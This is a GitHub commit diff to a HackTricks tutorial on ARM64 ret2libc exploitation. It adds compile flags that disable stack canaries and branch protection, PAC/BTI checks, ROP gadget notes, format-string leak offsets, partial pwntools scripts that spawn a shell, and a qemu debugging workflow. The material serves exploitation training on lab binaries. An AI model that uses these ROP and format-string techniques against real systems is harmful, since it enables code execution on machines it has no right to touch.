Skip to content

Commit 24a9ed8

Browse files
authored
Merge pull request #2139 from HackTricks-wiki/research_update_src_binary-exploitation_rop-return-oriented-programing_ret2lib_ret2lib-printf-leak-arm64_20260417_032222
Research Update Enhanced src/binary-exploitation/rop-return-...
2 parents 6a00a4b + ca18301 commit 24a9ed8

1 file changed

Lines changed: 41 additions & 6 deletions

File tree

src/binary-exploitation/rop-return-oriented-programing/ret2lib/ret2lib-printf-leak-arm64.md

Lines changed: 41 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -21,14 +21,32 @@ void main()
2121
}
2222
```
2323

24-
Compile without canary:
24+
Compile without canary and without AArch64 branch protection:
2525

2626
```bash
27-
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
27+
clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector -mbranch-protection=none
2828
# Disable aslr
2929
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
3030
```
3131

32+
- Recent toolchains may emit **PAC/BTI** instrumentation by default on some ARM64 targets. If you are building a lab binary for practice, **`-mbranch-protection=none`** keeps the classic ret2lib flow reproducible.
33+
- You can quickly verify whether the binary carries branch-protection notes with:
34+
35+
```bash
36+
readelf --notes -W rop-no-aslr | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'
37+
objdump -d rop-no-aslr | grep -E 'bti|paci|auti'
38+
```
39+
40+
> [!WARNING]
41+
> If the target was compiled with return-address signing (`pac-ret` / `standard`) a naive overwrite of the saved **`x30`** may fail during the function epilogue. In real targets, confirm first whether PAC/BTI is present before assuming a vanilla ROP chain will work.
42+
43+
### AArch64 ROP reminders
44+
45+
- **`x0`** to **`x7`** hold the first 8 function arguments, so a ret2libc chain must place the pointer to **`/bin/sh`** in **`x0`** before branching to **`system`**.
46+
- **`ret`** jumps to the address stored in **`x30`**. In practice, the saved return address is usually restored by an epilogue such as **`ldp x29, x30, [sp], #0x10; ret;`**.
47+
- Keep **`sp` 16-byte aligned** at function boundaries. Misaligned stacks can crash in epilogues or inside libc before the chain reaches **`system`**.
48+
- On AArch64, very useful gadgets often look like **`ldr x0, [sp, #imm]; ldp x29, x30, [sp], #off; ret;`** because they both set the first argument and advance the ROP chain.
49+
3250
### Find offset - x30 offset
3351

3452
Creating a pattern with **`pattern create 200`**, using it, and checking for the offset with **`pattern search $x30`** we can see that the offset is **`108`** (0x6c).
@@ -49,7 +67,7 @@ As the ASLR is disabled, the addresses are going to be always the same:
4967

5068
We need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
5169

52-
Using rooper an interesting gadget was found:
70+
Using ropper an interesting gadget was found:
5371

5472
```
5573
0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;
@@ -63,6 +81,7 @@ This gadget will load `x0` from **`$sp + 0x18`** and then load the addresses x29
6381
from pwn import *
6482
from time import sleep
6583

84+
context.arch = 'aarch64'
6685
p = process('./rop') # For local binary
6786
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
6887
libc.address = 0x0000fffff7df0000
@@ -89,6 +108,15 @@ p.interactive()
89108
p.close()
90109
```
91110

111+
> [!TIP]
112+
> If you are exploiting/debugging an ARM64 binary from an x86_64 workstation, a quick local workflow is:
113+
>
114+
> ```bash
115+
> qemu-aarch64 -L /usr/aarch64-linux-gnu ./rop-no-aslr
116+
> qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./rop-no-aslr
117+
> gdb-multiarch ./rop-no-aslr -ex 'target remote :1234'
118+
> ```
119+
92120
## Ret2lib - NX, ASL & PIE bypass with printf leaks from the stack
93121
94122
```c
@@ -120,7 +148,7 @@ void main()
120148
Compile **without canary**:
121149

122150
```bash
123-
clang -o rop rop.c -fno-stack-protector -Wno-format-security
151+
clang -o rop rop.c -fno-stack-protector -Wno-format-security -mbranch-protection=none
124152
```
125153

126154
### PIE and ASLR but no canary
@@ -144,6 +172,9 @@ Trying different offsets, the **`%21$p`** can leak a binary address (PIE bypass)
144172

145173
Subtracting the libc leaked address with the base address of libc, it's possible to see that the **offset** of the **leaked address from the base is `0x49c40`.**
146174

175+
> [!IMPORTANT]
176+
> The exact format-string positions are **build-dependent**. The values **`%21$p`** and **`%25$p`** are valid for this binary/libc combination, but different compilers, optimization levels or libc versions can move the interesting pointers. On AArch64 this is especially visible because **`printf`** receives its first arguments in registers first, and only later consumes stack values. In a new target, brute-force several **`%p`** positions or inspect the state right before the **`printf`** call to re-discover the correct offsets.
177+
147178
### x30 offset
148179

149180
See the previous example as the bof is the same.
@@ -152,7 +183,7 @@ See the previous example as the bof is the same.
152183

153184
Like in the previous example, we need to have in **`x0`** the address to the string **`/bin/sh`** and call **`system`**.
154185

155-
Using rooper another interesting gadget was found:
186+
Using ropper another interesting gadget was found:
156187

157188
```
158189
0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;
@@ -166,6 +197,7 @@ This gadget will load `x0` from **`$sp + 0x78`** and then load the addresses x29
166197
from pwn import *
167198
from time import sleep
168199

200+
context.arch = 'aarch64'
169201
p = process('./rop') # For local binary
170202
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
171203

@@ -212,7 +244,10 @@ p.sendline(payload)
212244
p.interactive()
213245
```
214246

215-
{{#include ../../../banners/hacktricks-training.md}}
216247

217248

249+
## References
218250

251+
- [ARM64 Reversing And Exploitation Part 7 – Bypassing ASLR and NX - 8kSec](https://8ksec.io/arm64-reversing-and-exploitation-part-7-bypassing-aslr-and-nx/)
252+
- [AArch64 Options - GCC documentation](https://gcc.gnu.org/onlinedocs/gcc/AArch64-Options.html)
253+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)